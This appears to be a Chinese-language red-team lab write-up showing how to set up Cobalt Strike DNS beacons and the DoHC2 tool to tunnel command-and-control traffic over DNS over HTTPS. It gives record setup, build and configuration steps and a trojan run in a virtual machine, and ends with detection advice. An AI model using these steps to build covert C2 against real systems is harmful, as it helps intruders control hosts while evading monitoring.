在 Mitre ATT&CKcon发布议题DNS over HTTPS后开源了DoHC2
本次针对改项目进行DNS over HTTPS 的研究
DNS Beacon
1.首先使用cobaltstrike进行DNS通讯测试
个人域名:
添加记录类型
Type | Name | Content |
---|---|---|
A | cobalt | cobaltstrike client ip |
NS | ns1 | cobalt.example.com |
NS | ns2 | cobalt.example.com |
2.cobaltstrike 新建listener
host: cobalt.example.com
beacon:ns1.example.com
3.cobaltstrike生成木马
4.在虚拟机中运行生成的exe
整个流程:
木马向DNS服务器ns1.example.com发起通信 -> DNS服务器ns1.example.com指向域名cobalt.example.com -> 域名cobalt.example.com指向VPS的ip -> 木马与VPS建立DNS隧道连接
DoHC2
1.在cobaltstrike client 下载DoHC2,加载external_c2.cna
external_c2.cna启动的外部C2端口2222
2.使用脚本来测试外部C2连接
连接成功
3.设置DoHC2客户端
Visual Studio 2019打开项目ExternalC2
修改request
1 | HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(new Uri(url)); |
项目右键点击生成,于是在bin\Debug
目录下生成ExternalC2.dll
Visual Studio 2019打开项目DoHC2Runner
修改为域名的NS记录,并且将https://dns.rubyfish.cn/dns-query
修改为https://google.com/resolve
。
1 | doh.Configure("ns1.wh0alesec.xyz", "ns2.wh0alesec.xyz", "https://google.com/resolve"); |
项目添加对ExternalC2.dll
的引用
右键点击生成
1 | 1> DoHC2Runner -> E:\PenetrationTools\Redteam\DoHC2\Example-Client\DoHC2Runner\bin\Debug\DoHC2Runner.exe |
4.运行DoHC2服务器
1 | python3 ./DoHC2.py |
5.在虚拟机中运行DoHC2Runner.exe,虚拟机在进行dns通信
6.cobaltstrike上线
如何防御
- 监控通过HTTPS(DoH)终结点的DNS流量。
- 检查基础的HTTP交换以获取DoH使用的指示符,而将TLS剥离以进行检查。即
application/dns-json
,application/dns-message
内容类型。 - 查找“Domain Fronting”的潜在指示符,由此找出TLS连接主机名与HTTP host头不匹配。
- 基于异常的数据包大小,频率和容量检测应用于传出流量。
- 防御者正在考虑可能进行的其他检测(无法进行TLS剥离),其中涉及使用JA3之类的工具对SSL客户端行为中的任何可观察特征进行指纹识别。NetworkMiner 2.5添加了对另一种称为JA3被动TLS分析技术的支持,该技术是对TLS客户端实现进行指纹识别的一种方法。
Reference:
https://github.com/SpiderLabs/DoHC2/issues/1
https://www.netresec.com/?page=Blog&month=2020-01&post=Sharing-a-PCAP-with-Decrypted-HTTPS